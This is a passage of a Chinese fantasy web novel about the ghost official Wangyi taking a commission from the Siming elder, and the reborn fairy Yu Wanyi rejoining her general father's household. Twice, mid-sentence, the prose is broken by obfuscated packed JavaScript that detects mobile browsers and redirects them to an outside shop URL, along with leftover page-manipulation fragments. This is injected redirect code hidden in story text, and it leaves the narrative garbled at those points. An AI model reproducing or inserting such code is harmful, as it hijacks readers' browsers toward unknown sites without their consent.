阿辞摆手说不走了,现在外面世道不太好,有些地方大兴捉妖。他无法化出完整人形,虽戴着斗笠,遮掩狐狸脑袋,但难免引起别人注意。尤其是这五短身材,遇到好心人,总要问他爹娘何在。 妄一“哈哈”笑了两声,安慰他既然这样,那就安心留在鬼京吧。 可是打完招呼,阿辞就急着要走。他闲不住,回来就想到处去转转。 怕大人无聊,他将这次带回的一本珍宝拿出来,借其翻看。 那是一本古青色封面的书籍,从新旧程度上来看,应该有些年代。书脊有重新装订过的痕迹,捧在手里散发一股淡淡的霉味,封面用黑色正楷注释“神佑史册”四个大字。 狐狸无比骄傲地表示此书失传多年,他能得到实属老天眷顾。 妄一嗤之以鼻,他五次有四次带来的是没用处的玩意儿,上有八十年前埋在土里的畸形白骨,下有铜钱大小的袖珍龟壳,文雅些的就属乱七八糟的书籍,美乐修养、栽花鉴茶,他自己不看,就喜欢拿来收藏。 为了不伤情分,妄一还是给了面子,翻开书册瞧了瞧。 嗬,这本更有意思了,成篇都是他不认识的古文字,因在上家手里待过,那人大约懂点,在边上标注了几个字词。 开头几行,根据注释大致推测是:古有神佑国,立世百年余,虽国富民强,然未能永恒也。 “神佑”一词听上去便像是个热衷祭祀、尊崇神明信仰的国度。估摸后面都是有关这个国家的发展史,妄一深觉没意思,弃在边上不再理会。 8. 柳暗花明又一村 莲烨门清闲,莲烨掌门却半点不想闲。 设立此门,是疑川掌门多年前求白水娘娘临时增添的。 疑川掌门待妄一尤为器重,一招一式亲自传授。在外妄一称其为“大人”,在内则称“师父”。只是后来疑川掌门因功绩卓著,被举荐到天宫当差。 为了缠身的咒痕,妄一处理完门内的日常事务就想出去转转,倘若没有收获,他亦不会难过,改去南路狱和囚犯谈谈人生便是。 按规定,南路狱由各掌门轮流照管一期,本月不属莲烨门当值,但也没说不让人看。 妄一对那儿的熟悉程度仅次于自家大门,年少气盛时,还和几个穷凶恶极之徒切磋几招。因失手打伤了几个,被联名举报后,监狱多了条“禁止残害囚犯”的标语。 外界不闻狱中从古至今流传一张隐秘的黑名单,上面不多不少,就记了两个名字——妄一和笙媱。 此名单警醒监狱所有新辈,如遇这二人,能躲就躲,不能躲就装死。 妄一上榜还好解释,毕竟是苍鸯殿掌事。笙媱帝姬身份特殊,能光荣在册,全靠她个人本事。 这是个疯女人,与外貌极其不符的疯女人。 她于某天突然闯进,说今天高兴,非杀几个死缓助兴。 众人当她是开玩笑,毕竟帝姬生得小鸟依人,谁也不知她的贴身法器竟是惊霄长矛。 还好妄一及时赶到,飞身踢落利器,一干人等感激涕零。但只有笙媱清楚,不是为见妄一一面,她才不会折腾,否则杀了囚犯,还得弄脏她的长矛。 妄一要出去溜达,打开门,仙君站在外面似有大事,连头上的玉冠都微微歪了。 他喘了口气,抓住妄一就往外拉。 妄一右手攀住门边,不为所动。 尘芳叫道:“你发什么愣啊?我对你以‘自己人’相称,这不转头给你找了个私活,得来的功德不说能清除多少咒痕,但起码是不菲的一笔。快随我走!” 这个轰炸的消息,让妄一好不适应,他握住仙君的手,反复确认道:“此言当真?” “当真,当真,老哥何时跟你弄虚作假?”尘芳以扇为笔,虚空变出一朵行云。 腾云驾雾是仙人惯用的出行方式,他拽着妄一就上去。不出一盏茶的时间,云朵稳妥地落在某座小巷入口。 仙君行在前头,妄一跟在后头,不由想这类犄角旮旯要么是杀人抛尸的藏污纳垢之地,要么弥漫着说不清的怪味,仙君带他来这儿做什么? 妄一忍住满腹疑问,跟着尘芳往前走,直到被一面墙堵住去路。 此墙由红砖砌成,尘芳仙君举扇比划,自言自语:“应该就是这里了。”而后拿扇叩击三下,拉起身边人的手,竟以头抢墙。 仙人有灵光护身,砖墙伤不到分毫。妄一是具肉身,可经不住撞。 来不及脱身,妄一被仙君径直拉过去。预料的痛感未有袭来,再睁眼,他们已身处某座宅院。 院里多是一群无脸木头傀儡,专行仆从之职。它们没有思想,有客来访,皆不懂避让,仍按原定路线行事。一不小心撞到人,尘芳固然无碍,可怜它们“哗啦”一声变回散乱的零件。 尘芳仙君来过多回,对眼前之景已是见怪不怪,稍过片刻,那堆木头会自动拼凑回人形。 二人穿过庭院游廊,拐进一座书房。 有位老者背对房门,忙着洒扫书架上的灰尘,有人入室,他也不意外,说了句:“仙君速度真快呀。” “不快不快!”尘芳谦虚道,“你先前和我讲天书出了差错,我也放在心上了。呐,帮手给你带来了,该怎么做,有劳您详细和他说说。” 老者转过身,他面容可亲,扫了来客一眼,妄一便觉有道陌生的气流在他周身游走一圈。 “仙君带来的人,好像有点意思。”老者悠悠笑道。 尘芳回道:“我结交的人,哪位没有意思?这位我把他当手足看待,您老提出的功德,我非让他拿了。” 功德?妄一眼睛一亮,对这两个字十分敏感。 老者道:“仙君尽管放心,事情办妥,该给的少不了去。”说罢,他进后面的隔间,像去取东西。 妄一轻声询问老者的来头。 尘芳道:“他啊,是掌管生灵命格的仙人,客气点,我们都叫他一声‘司命老爷’。” 妄一讶然,尽管他在苍鸯殿当差,却也听过“司命星君”的名头。 传闻此仙掌管众生命运,一笔便可篡改运势,在天庭是有名的“大官”,孰轻孰重都得被人尊为“前辈”。 “错了错了,是‘司命老爷’,不是‘司命星君’!”察觉妄一崇拜的眼神,仙君连忙辟谣。 “这有什么区别?”妄一求教。 “当然有。”尘芳昂首,“‘司命星君’一职很早以前就被天庭革除了,它既要仙人法力高强,能在天书上写文章,又要知晓天文地理,不可胡编乱造,几千年出不了一个。司命老爷就是为了弥补这一项空缺,但又不算完全弥补。” 司命老爷掌管功德清算之职。凡间生灵,皆遵循天道轨迹,不劳费心。可是天上偶有仙人历劫,他们的命格不同于凡人,只能司命老爷亲自操持。 尘芳惋惜道:“其实他们知晓天道伦理,差一步就能成为星君了。” “咳咳!”老者拿着木匣走出来,他才离开一会儿,仙君都快把他的底抖干净了。 尘芳知道这老头儿耳朵尖,一戳痛处他全知晓,忙赔笑道:“您回来得挺快。” 司命老爷暼他一眼,哼了一声,将匣子搁在桌上,动作轻柔地推开盖子,里面躺着本小册子。 “这是名册,由我从天书里薅下来的边角料制成。真材实料,万分宝贵。在上面写下名字,就能窥探历劫仙人已走过的人生。” 妄一凑近一看,并没看出有何与众不同,习惯性一翻,里面的纸张大小不一。 “算起来,我许久没有动笔了,上一个历劫的还是好多年前,是谁来着?我记不清了。”司命老爷感慨道,“本来再过几百年,我就能颐养天年,谁晓得有仙人想下凡历练,我这把老骨头早起贪黑安排好了,偏偏又被人篡改,真是头疼!” 老人一发愁,很容易引起别人同情,但妄一比较关心正事,问需要他去做什么。 “你的任务就是去凡间把篡改之人揪出来,后续司命老爷自会看着办。”尘芳仙君抢答道,“如何?我给你找的这活儿,算不算你的专长?” 妄一认同地点点头,抓人的确算莲烨掌门的专长。 仙人历劫由司命老爷一手执掌,出了差错,他自觉脸上无光,想等揪出真凶再向天庭上报。因他信得过尘芳仙君,便想交给他带来的人去做。 揪出捣乱之人后,司命老爷就要重新整理历劫的进程,该修的地方修,该补的地方补。从另一个角度看,他一把年纪何尝不也是在历劫? 妄一爽快接下差事,有丰厚功德,什么都好说。 走前,老者还动了动嘴角欲说什么,但转而一想,只朝他们喊道:“此事拜托小友了,有空再来玩呀!” 仙人之所以历劫,一是为让他们坚守本性,二是让他们明白人世之理。 回程之路,尘芳与妄一细说,这次自请下凡的是锦阕仙子,前不久刚升仙职。她听说以前有下凡历练的规矩,便请旨要去一试。难为她想走这一遭,姐姐锦婼元君过于优秀,做妹妹的自然不甘于后。 可是历劫才刚步入正轨,偏巧仙子动了凡心,还嫁错了人。 司命老爷编造的天书,不是事无巨细的着墨安排,而是大致的人生起落。通常不可能出错,定是有人干涉其中。 妄一又问仙君,司命老爷怎住在这条荒废的巷子里? “非也,是我说了给他寻的帮手住在鬼京,他为了方便才画下通行法阵,使自己府邸与那面墙形成联系。”尘芳侧目,“所以刚刚我撞墙那一刻,你莫名其妙叫了一声,以为我在发疯吗?” “那没有。”妄一矢口否认,奉承道,“我自是相信仙君的智慧无人能敌。” 尘芳满意地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963677|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了笑,能让老弟夸他一句,难过摘星辰,但想起另一件事,他又蹙了蹙眉毛,说:“有个不太乐观的事,我得告知你。” “什么?”妄一沉浸在功德的赚取中,面上仍是欣喜的。 尘芳支吾道:“那什么,我不是刚和你讲过帝姬婚配一事吗?我还是小瞧了她,她.....她逃了!” 妄一突然笑容僵住。 帝姬出逃,天大地大,能逃去哪儿?要是没有猜错,这会儿大概在冲他来的路上罢? “你先别慌啊,估摸是昨晚的事,凛海上空蛟龙盘旋,正全力搜寻她的下落。”尘芳宽慰他,“帝姬逃了有一个晚上,现在还没到鬼京,说不定是去别处落脚。纵然找过来了,她不自报身份,进得来善恶大道,也进不来苍鸯殿。” 妄一想说仙君太乐观了,帝姬那脾气想进来,只有白水娘娘拦得住她,再说看守出入口的是御朝门,有人来找莲烨大人的茬,他们恨不得欢呼相迎。 御朝门与莲烨门针锋相对多年,在苍鸯殿不算秘密,明明是同辈,却常年水火不容。 不过转念一想,妄一接了司命老爷的活,马上要往人间跑,帝姬真冲进来,他们也会因此错过吧。 如此,妄一的内心又安定下来。 只是仙君不放心,送了支神笔。 “拿着,我往它身上输入了灵力,它携带方便,可随手藏于袖中,你在人间若遇难处,能用它联系我。” 妄一满不在乎,说他见过风浪,不用多加牵挂。 尘芳撇嘴道:“给你就拿着,老哥从没怕被你麻烦!还有这保命符,也时刻戴在身上,能护你一次周全。”他强行将一黄澄澄的符纸塞过去,接着道:“我不喜欢你逞强,就像那咒痕,你难受就该早点说,或许我早点就为你想到办法。” 妄一有点感动,但不知怎么解释。 诅咒是天道所赐,仙人则是天道的维持者,他本不该苟活下来,非是相识多年,又遇上疼痛当面复发,妄一会闭嘴到永远。 “别愣着了,快走吧!”尘芳回头催他一声。 来往的清风拂过二人衣袖,仙君在前头迎光而走,妄一像来时那样跟在后头,偶然一瞥,仙君的背影竟有些光辉灿烂。 妄一低头笑了笑,心想是自己多虑了,仙君表里如一,的确正直又热心。 狐狸不明大人去处,等在莲烨门,看大人回来手里多了东西,眼尖如他,跳下来问此乃何物? 妄一没想隐瞒,把替司命老爷办事就能得功德的事说了遍。 阿辞眼眸一亮,直夸这是好事! 苍鸯殿发放俸禄是以“功德”的形式,不过鬼京的交易方式是货币。 妄一勤恳,但多年来仍无积蓄,因除去必要生活开支,剩下的都拿去偿还罪孽。老仙家出手阔绰,消减相应的罪孽,能让妄一的焦虑缓解几天。 司命老爷交代过天书的用法,妄一这就摊开书页,只见其白纸胜雪。 阿辞问要帮的是哪位神仙? 妄一沉思道:“忘了,好像是位鸟仙。” “鸟仙?鸟仙历什么劫?它原就是从草根生灵位列仙班啊。”阿辞表情奇怪,“您肯定是记错了,都要帮人家了,连身份姓名还没搞清楚。” “不可能,我记得那位仙子叫‘雀’,还是‘鹊’来着,若非鸟仙,何以此命名?”妄一理所当然道,“不记得也没关系,我稍运法力,纸页自会显示。” 他在天书上以指一通乱舞,道了声:“开。” 纸面仿佛有了生命,忽然颤栗起来。天书渐渐显迹,密密麻麻的文字映入眼帘。 狐狸趴在旁边看得兴起,妄一震了震册子,上面的小字仿佛跳起舞,最后全部糅合成“锦阕”二字,随着一道华光消逝,纸上显现出画面。 他们看到仙子转世为人的痕迹。她降生于一个叫“戊斯”的国度,日子困苦,但能凑合着过。 妄一囫囵吞枣地看,直到画面显现仙子十五岁的某一天,有辆锦绣马车接她出了山村,大概是她命运的转折点。 9. 告别山村入王都 仙子降生,化名为“李阿圆”,由无血缘的祖母抚养长大。 战火纷飞那年,老妇人带亲孙女逃难,一支军队沿途路过,瞧她们可怜,收留进营。 营中还有个尚在襁褓的小姐,其生母在行军路上难产,保住了小的,没能保住大的。 将军来不及悲伤,老妇人来了,便托她帮忙照看小女。 这场战乱,将军一方占尽优势,再过两天就能收兵凯旋。可敌军奸诈,于某夜潜入军营,放了把火不够,还溜进帐子偷走孩子,以此要挟将军退让。 然而那人没想到,黑灯瞎火,他抱走的并非将军亲女。 营中大火难灭,敌方又率军来袭。 老妇人明理,不曾哭嚎自己丢了孙女,而是先抱小姐外出避难,没了后顾之忧,将军才好全力应敌。 那个夜晚似乎永远见不到天明,老人抱着婴儿一直躲,一直跑,直到东边太阳升起。 这场夜袭,将军大获全胜,如今官从三品,于七年前娶了姚家长女为继室,后为余府添有一子。 尽管有了新家庭,但将军不曾忘记寻找亲女,而今父女俩终于可以团聚,李阿圆心中百感交集。 马车驶入王城,她缩在车厢,只敢将侧帘掀开一条小缝儿看。 驱车的老伯先带她去客栈洗漱,她换下肥大的粗布麻衣,穿上崭新的丝绸衣裙。 她既期待,又惶恐,暗暗告诫自己只要不惹事,不多事,就能被生父的家人所接纳。 她想留在亲人身边,她不想再孤苦无依。 马车再次穿过喧闹长街,来到了粉墙环护的余家大宅前。李阿圆稍理衣裳,又整发髻。 宅院里的富丽堂皇不必细说,假山小池,亭台楼阁,来往的仆人皆衣着整洁。 她的父亲是戊斯国大将军,一见到她,那双眼睛便闪烁着异人的光芒,颤抖双唇,千言万语最后化成声声“阿圆”。 他大步上前,将女儿搂在怀里。十五年的思念总算到头,铁汉都落下欣喜之泪。 夫人“姚氏”携幼子出来,含笑道:“日盼夜盼,可算把人盼来,我明白老爷高兴,但有什么话进来再说。” 将军擦了把泪,女儿重回膝下也算了一桩心事,见其黑瘦弱小的模样,心中又是一紧,拍拍胸脯承诺要补偿她。正好马上是他四十岁寿诞,借宴请好友的机会,他要宣扬父女重聚之喜。 只是说来惭愧,当初亡妻只留下“阿圆”的小名,误当大名叫到现在。 将军戎马半生,不善文墨,取名这等大事,一时半会儿想不出好的。 姚氏抱着小郎君,说:“敏于事,慎于言。不如取作‘敏言’?” 将军认为甚好,但转念一想,又觉得这两字有些束缚,他别无所求,只想女儿余生安稳、开心。 姚氏笑道:“好,我明白老爷的心意。要不这样,‘莞’有微笑之意,那就取作‘菀意’?” “余菀意?”将军在嘴里回味一遍,随后露出满意的笑,“好好好,多谢夫人费心。” 他征求女儿的意见,李阿圆轻轻点头。无论是新的名字,还是新的家庭,她都愿意融入。 将军慈爱地抚了抚她的发,细声细气说了好些话,和带兵时的样子全然不同。 用膳期间,家人同坐一起,桌上山珍海味,她行为老实,只吃面前的几道,筷子从不往远处伸去。 将军主动给她掰了整只羊腿。羊腿芳香扑鼻,她又担心自己吃相不雅,便搁在一旁,小口小口吃着米饭。 她话少,将军和夫人倒是聊起家常,谈及小郎君已有四岁,到了请夫子启蒙的年纪。 将军说那寅山的马夫子还不错,赵家两个小儿就是受他启蒙的。为人正直,虽严厉,但颇有耐心。 他转头问女儿,在山村里可曾学过什么? 余菀意停顿片刻,飞快地回了一句:“没有学过。” 于是将军提议两个孩子都让夫子教了吧!余家虽是武将出身,但识字是基本学识,不能忽视。 余菀意没有异议。 府中宅院很大,新小姐的住处早被收拾妥当,许多东西都是新安置的。 姚氏点了“水央”去侍奉,想她们年纪相仿,相处必会自在些。隔日还差人送了不少珠钗过来,让余菀意挑喜欢的留下,若是全部喜欢,那全部留下也非不可。 余菀意摸着璀璨的珠花,眼眶微热。她在府上吃得好,睡得好,将军和夫人待她如珠如宝,有什么好吃好玩的,都会给她送一份。 她听闻马夫子的名声,入读在即,心头有些许压力,除却自己什么都不懂,她忧虑的还有名义上的弟弟。 余小郎君尚且年幼,平日都由婆子看管,她来余府几日,俩人至今没说上一句话。 水央道:“小姐多心了,小郎君这个年纪最是爱玩,虽然调皮了些,但有老爷压着,不曾做过坏事。小姐多带些好吃的去就行了。” 小孩子嘛,拿点吃的玩的,他就跟你熟络了。 余菀意听着也是这么个理,次日特意早起赶去书房,夫子已经在了。 小郎君迟了半刻钟,被婆子以半梦半醒的状态抱来。他睡眼惺松地看了看夫子,然后又倒头睡去。 师生相见的首日通常要用来立规矩,马夫子不会因他小就惯着。 是以,书房出现这副场景——余菀意坐在屋内,小郎君被罚站屋外,但这依旧抵挡不了小孩的睡意,靠着墙就续上回笼觉。 第一天没传授功课,夫子问了些话,了解学生的学习情况。 余小姐毫无基础,夫子便叫她日后认真听讲。 临近饭点,书房散学。小郎君在外足足站了半日,后面直接坐在墙根上。夫子出来看见了,气得吹胡子瞪眼,让他明天站屋里来。 余菀意想拉进关系,等马夫子收拾箱子离去,她马上去安慰小弟几句。但她显然多虑了,夫子几句骂声,在小郎君这儿不算什么,比起将军的呵斥,只能是毛毛雨。 “你吃这个吗?” 糕点飘出一丝香甜,余菀意手捧点心,半蹲着身,有意讨好。 小郎君看了一眼,并不买账,站起来还推她一把。 他毫不掩饰怒意地道:“我讨厌你,因为你,大姐姐被送走了!” 童言无忌,他说完就跑。 余菀意愣在原地,久久回不过神。 水央看到小姐回来失魂落魄的,只当是她累了,要给她捶肩捏腿。 余菀意推了几下,拒绝了。 “好吧,那我给小姐取些糕点。” “不用了,我不饿。”余菀意叫住她,“我不想吃东西,你陪我说说话吧。” 感到主子心情低落,水央退到身边,问:“小姐,您怎么了?若是有些困乏,一会儿用过饭,睡个午觉罢?” “我不困。”余菀意惆怅道,想起小弟那一记推,原来不是所有人都欢迎她。 她来府里多日,未见原先的小姐,以为不幸殒身当年的战火,没想到尚在人间。 她把自己的困惑说出口:“水央,你告诉我,府里还有一位余小姐.......她去哪儿了?”或者也可以说是李小姐。 水央神色躲闪,不知怎么回答,在主子的再三追问下,她无奈道:“小姐,我们做下人的,主子自有主子的安排,您别多想了,天气转热,您要多喝水休息。”她说完就出去了,仿佛有意避讳似的。 傍晚将军归来,他换好衣服,与姚氏有说有笑。小郎君今晚在桌上用餐,因他身板较小,底下还放了个矮凳。 余菀意仍向这个弟弟示好,可人家依旧不理她,只顾埋头吃饭,差点呛着自己。 姚氏笑问:“今天的饭菜似乎很合临儿的胃口,要不要再盛碗饭?” 小郎君张了张嘴,像是有话要说,但因忌惮爹爹,只能不作响。 姚氏看在眼里,微笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963678|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“是不是马夫子上午批评你,你还有些不高兴?” “不是......”小郎君瘪嘴道。 “那是因为什么?”姚氏拉过儿子的小手,“你还犯了别的错吗?” “我......我没犯错!我就是,我就是......”小郎君的声音渐渐低下去,在众人的视线下,他鼓起勇气问出那个问题。 “娘,我就是想大姐姐了,她什么时候回来啊?” 普通的一句话,让夫妻俩不约而同地看了余菀意一眼。 余菀意不做表态,心中却波澜暗涌。 她想了一下午,也明白父亲的好意。 他们怕她回来见到那位小姐,心里或许会有疙瘩,便安排去外面住。可小郎君只是把想到的东西表达出来,没有考虑到其他。 姚氏拿过帕子,替儿子擦擦嘴,吃好了就命人带他下去。 小郎君赖着不肯走,嚷嚷道:“之前爹都说了,让姐姐去外面住几天就回来了,这都好几天了,你们怎么说话不算数!” 将军临近中年才得儿子,全府上下对他疼爱有加,小郎君想到什么便说什么。 将军马上拍桌子威吓他,扬言阿圆也是他的姐姐,要同样敬她爱她。 “那琼儿姐姐呢?”小郎君眼泪汪汪,“你们都不要她了吗?”他性子也倔,哪壶不开偏提哪壶。 姚氏夹在中间,说:“老爷,你别和临儿动气,他小,不懂事。”同时又把目光投向余菀意,希望她说点什么。 余菀意暗叹一声,好好一顿饭,最后变成小孩的哭声,大人的吵闹声。 心思敏感的人总是擅长察言观色,为了和睦相处,又或是彰显她的大度,余菀意退了一步,说道:“爹,既然她也是您的女儿,那就把她接回来,一起同住才是。” 人心都是肉长的,身边抚养十几年的孩子,怎么可能说放外面就放外面?余菀意深谙此理。 “阿圆......”将军缓了缓神色,“你真是那么想的?”近日睡前,他总被这个问题困扰,把琼儿放到外面是暂缓之计,等亲女熟悉这里的一切后,自然会去接回。没想到今日突然提起,阿圆爽快答应了。 姚氏同样问了一遍:“菀意,你当真不介意?” “没关系。”余菀意表现冷静,只有天知道,她说这话要耗费多大勇气。 她承认自己胆小,还有些自私,好不容易重拾亲情,又要分出去。但另一位小姐回来是早晚的事,提前同意,她还能得一句“乖巧明理”。 窗外月色如水,余府柔软的大床,轻柔的薄被,总能令余菀意好眠。今晚却是她第一次失眠日,她在床上翻来覆去如烙饼,折腾到半夜才有些许睡意。 她告诉自己,那是祖母的亲孙女,替她涉过险,余府照顾人家后半辈子也是应该的。再说她和父亲才是至亲,将军夫妇总不会太偏心养女。 自此,余菀意更认真地跟着夫子读书学习。 两位学生的年龄差较大,小郎君能上幼儿启蒙课,余菀意不适合了,所以课程上略有差别。 姚氏还另外请人教导小姐礼数,除了日后做社交之用,也是因为将军的寿宴一天天逼近。 那位嬷嬷五十有几,是从宫里来的,教导仪态是出了名的苛刻。 余菀意通常上午学知识,下午学礼仪,日程虽满满当当,却无半句怨言。 归根究底是她胆怯,自从成为将军千金,她就很在乎别人看法。 姚氏让她不要紧张,那日来的都是将军好友,学些基本礼仪足以应付。 因为余菀意的努力,马夫子不止一次跟将军夫人夸奖她,就连严格的教导嬷嬷也很是欣慰。 另一位余小姐仍住在外面,那天晚上说定后,次日一早,将军就派人去接。但是下人回了话,说小姐要晚些归来。 姚氏听了觉得没什么,琼儿最是孝顺,最不会忘记老爷的生辰,便随她去了。 10. 寿宴之变乱心弦 将军要办寿宴,为这一天,姚氏这个做妻子的准备了许久。 这天凌晨,天还蒙蒙亮,她就起床打开柜子,替老爷放好该穿的衣裳,自己也一改往日的朴素,挑了件缕金百花衫。 大宅院的女主人没那么好当,出了房门她安排下人忙着忙那,生怕漏了什么,让来客见笑。 今日对某些人而言,亦是个不错的攀附机会。 余府一共摆了三十来桌酒席,正堂中间搭建戏台。门口请了舞狮队,鞭炮声响,夫人心善,叫厨房准备了几框肉馒头,凡是路过的乞丐,都有的分。 一份份贺礼如同流水被送到大堂摆放整齐。将军偷偷和姚氏说:“过会儿散场了,喊阿圆来,叫她挑几件喜欢的拿走。” 而此时余菀意还在房里精心打扮,着一件金丝绕珠缀边衫,系一条百蝶绕膝彩云裙,丫鬟们围着给她盘发绕髻。 梳妆好了,她看着镜中的自己,这些天又学知识,又学礼仪,确实让她褪去从前的怯懦,添了几分端庄。 水央夸赞小姐身段好,再由这衣裳衬托,定会在众人面前大放光彩! 余菀意高兴地上扬嘴角,欢天喜地去了正堂。 早在将军上朝时,就和相近的同僚透露风声,说原配夫人本就生了两个女儿,那场战役大家也知道有多乱,遗失了一位,多亏老天眷顾,现在终于重回膝下了。 百闻不如一见,宾客都很好奇,余将军的那位女儿长什么模样。 是以,当余菀意在堂上露面时,所有人都投来探究的目光。 看得出来,这位小姐精心打扮过,样貌虽称不上绝色,但也混了个清秀。不知是否过于紧张,努力挺直背脊,眼神总感觉有些失焦。 将军揽过女儿,对人介绍起来,从刚才到现在,他嘴角的笑意就没压下来过。 只是席间有人问:“既是将军寿诞,为何还有一位小姐不现身?” 姚氏提了提心,她早就派人去请了三四回,可琼儿那孩子不知怎的,还不过来。她又要忙着招待宾客,脱身不得,否则自己都想去跑一趟了。 没事,这在将军眼里都是小问题,他正要举杯周旋过去,忽听府外一阵车马之声。 余菀意在父亲身边,没来由感到一阵心惊,一丝危机感爬上心头。 “是何人来了?”将军唤一名小厮询问。 小厮作揖,还没开口作答,两三名仆人就从外面抬进一株树形优美的长白松,随后有一妙龄小姐如翩跹蝴蝶,被人簇拥着,闯入众人视野。 此女装扮素雅,来若塞外春雪。一入场,所有人都往她身上打量。 姚氏暗自松了口气,心道琼儿来得真是及时。 小郎君更是喜笑颜开,上去围着她转。他们不是亲姐弟,却胜似亲姐弟。 这一切,余菀意都看在眼里。她知道自己担心的事,终于还是发生了。 余初琼高声唤了“爹娘”,虽然晚至,但赢得旁人赞誉,何况她是为给父亲寻礼,才耽误些许。 宾客连连恭贺,说初琼小姐一来,将军一家才是真正圆满。 将军连喝好几杯,脸喝得红彤彤,姚氏拦都拦不住。 两位小姐不同桌,各有各的圈子,但暗中总防不住有人将她们比较。 余菀意知晓她们有云泥之别,可今天对她来讲,是极为重要的日子,现在都被打乱了。 余初琼毫无歉意地享受注目礼,因其容貌脱俗,又谈吐得体,在圈子里很受欢迎。 可怜,可怜,余菀意深觉自己像个可怜鬼。她闷头吃菜,周遭没有认识的人,认知上的差异,致使她哪哪插不上话。 余初琼从小培养的贵气,以及坦然自若的处事,是她怎么也学不来的。她轻微叹息,不经想起以前日子虽苦,但也不是没有怀念之处,村里有她的好友,如今天各一方。 果然,寿宴结束后,余菀意就病了。 她停了课,卧在床上。姚氏请了郎中,说是小姐体弱,开了几个安神健体的方子。 因身体不适,她话更少了,时常看着窗外的叶子愣神。这缄默不语的样子,将军跟着着急。还是姚氏说让她静静,想说了自会开口。 余初琼也来探过病。那样美的人站在院外,余菀意都让丫鬟回绝了,说她刚睡下。 她躺在床上,后悔那天晚上的决定。 水央怕主子病久了无聊,提议说出去走走。 外面的街市熙熙攘攘,有推独轮车运货的,有挑担赶路的,还有不少年轻女子结伴而游。 余菀意想买点儿胭脂掩盖自己苍白的面容,故而同意出行。 水央说街上有一家百年老字号“笑春风”,传闻第一任店主快五十了,外貌仍呈二十左右的水灵模样。 “有这么神奇?”她不太相信。 “神不神奇,小姐去看看不就知晓了?我也是听别人说的,跟着小姐正好长见识。”水央嬉笑道。 笑春风的铺子在另一条街,走一半,有个卖香囊的小贩尽力吆喝。 其中一枚绣有云绕远山的景象,以及“平安”二字。 小贩拼命夸耀,说家里娘们儿的绣花手艺是一等一的好。虽有自卖自夸的成分,但上面的图案,余菀意很是喜欢,正想买一个,街上却传来异样的吵闹。 城里没有明令禁止马车通行,但此地多是行人,马夫扬鞭赶路,惊得摊贩只好收拾东西避让。 水央护主心切,拉着小姐躲到街边廊下。 那辆马车飞奔而来,车前挂有一盏灯笼,余菀意勉强认出上面的字,喃喃:“齐允?” 马车路过她跟前,无意而起的清风掀开车厢的侧帘,有一俊俏郎君闭目而坐。 他神清骨秀,气质绝尘。 那种感觉好奇妙,明明是第一次相见,余菀意却攥紧手,眼神直直望着马车远去,像断不了的丝线。 她有些困惑,心想自己是怎么了? 水央则气呼呼地骂道:“齐允的人会驾车吗?在我们的地界上也那么放肆,都快撞到人了!” 余菀意不了解,但偶然在饭桌上听将军和夫人提起,说齐允国为向戊斯借兵借力,送公子延卿为质,其在王室中排行老三,自幼体弱不胜风寒。 外人不知公子延卿长相如何,他长途跋涉抵达戊斯就病在榻上,除了刚来时,本国国主见过一面,旁人没一个知晓他的长相。诸位大臣每提起此人,脑海中多出现“气息奄奄”之词。 齐允国主送这位公子过来,恐怕也是在发挥他仅有的价值。 将军在家说起朝中之事并不避讳,眼看齐允国力逐渐强盛,戊斯国主隐约起了交好的心思。 这位公子的吃穿用度与本国王室无差,有大臣推测,国主大概想在群臣家眷中挑选适龄女子赐婚。 虽然只是预测,但大臣们愈发当真,没有哪位父亲愿把女儿嫁给他。 一来,女婿身体不够康健,怕女儿没几天就要守寡。二来,也是因为公子延卿非本国人,日后终是要回齐允的。 余菀意想起这些话,却是心弦微动。 她不是肤浅的人,却对马车上的那一眼念念不忘。 主仆二人走到“笑春风”,店里陈列各种各样的胭脂水粉,价格却贵得让人咂舌。 伙计眼睛活络,热情地拿出店里刚到的新货,尤其称赞润面玉露,每晚抹脸上入睡,次日醒来容光焕发,是不少女子的首选之物。 余菀意瞧了一眼,笑春风的货品包装精致,她摸着盒子上面的烫金图案,又看了看其他的,原来每盒图案皆是不同。有夸父逐日,有精卫填海,而她手上这盒绘的是嫦娥奔月。 若是抹了,她真能变成嫦娥脱胎换骨就好了。 回府后,余菀意略感疲惫。 两位小姐的住处离得不远,但她进出自己院落得路过余初琼的院门。 她有意加快脚步,可还是被人瞧见了。远远的,余初琼喊她一声“姐姐”。因不想叫人看出有意躲避,她只得僵硬地回头。 余初琼邀她进来坐,在她脚边有只橘色小猫懒洋洋地玩着线球。 余菀意站着不动,直问她有什么事? 余初琼弯腰把将猫抱在怀里,在她纤细白嫩的手腕上,有一条玛瑙坠的手链,让人联想到雪地掉落的红豆。 “姐姐卧病多日,甚少出来。娘有一事让我转告,七日后,陛下要宴请群臣之家眷。” 她让丫鬟“秋拂”将提前备好的衣服递去,这是姚氏的主意。作为长辈,她也想让两个姑娘拉进关系。 那是一套水青色淡雅的礼服,滑溜的布料,袖边绣着几朵小花。 余菀意淡淡说了句“谢谢。” 尽管她态度冷漠,余初琼仍是笑着道:“我本想让人直接送去姐姐院里,可我有私心,想请姐姐来我院里。” 余菀意明白对方没有恶意,她垂下视线,有风穿过周身,余初琼的裙角如 